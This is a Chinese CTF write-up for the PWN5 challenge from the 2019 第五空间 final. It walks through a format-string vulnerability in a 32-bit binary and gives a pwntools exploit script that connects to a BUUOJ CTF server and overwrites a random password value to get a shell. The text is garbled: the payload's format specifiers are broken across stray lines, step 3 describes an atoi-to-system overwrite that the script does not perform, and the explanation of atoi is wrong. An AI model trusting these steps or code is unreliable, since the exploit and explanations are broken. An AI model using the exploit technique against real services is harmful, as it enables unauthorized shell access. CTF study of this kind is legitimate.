[第五空间2019 决赛]PWN5
这里以一个pwn题作为例子,该逆向后的函数结构比自我构建的函数要困难,不再进行我自己编写,直接分析题目。该pwn题涉及搜索中漏洞问题。
1.查看保护机制
2.ida逆向后的源码
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open(“/dev/urandom”, 0);
read(fd, &dword_804C044, 4u);
printf(“your name:”);
read(0, buf, 0x63u);
printf(“Hello,”);
printf(buf);
printf(“your passwd:”);
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts(“ok!!”);
system(“/bin/sh”);
}
else
{
puts(“fail”);
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
3.因为no pie所以直接可以格式化字符串篡改atoi为system
正好程序里有system函数,该system函数可以直接进行提权,拿到系统权限
这个命如果传入的password值为/bin/sh
这样原本的atoi(nptr)就变成了system(“/bin/sh”)
这样就可以得到shell了
令可调用系统函数,如果能使程序运行到这一步,就能够实现提权。
4.探测格式化字符串进行选择:
输入:AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x
A的ASCII码为65(0x41),因此0x41414141即为AAAA存入地址
5.偏移是10,并用ida查找unk_804C044地址为0x0804C044,编写攻击脚本,实现漏洞利用。
from pwn import *
p = remote(“node4.buuoj.cn”, 25339)
payload = p32(0x804c044) + p32(0x804c045) + p32(0x804c046) + p32(0x804c047) + ‘%10
n
n%11
nn%12
n
n%13
nn’
p.sendafter(“name:”,payload)
p.sendafter(“passwd”,str(0x10101010))
p.interactive()
6.得到flag
分析代码调用结构:
从上图可以看到
调用read函数,将读入的数据压入eax寄存器中
add esp,10H; //释放局部变量空间
调用atoi函数(将函数转字符串),讲eax的内容压到edx中,将unk_804C044压入eax寄存器,以eax里面的值做为地址,取出来给eax,将这个地址值与你输入的值进行对比,如果相同则跳转到
如果失败则跳转到
无论如何跳转,都会执行loc_804933E这个函数
分析与上面类似,仍是跳转。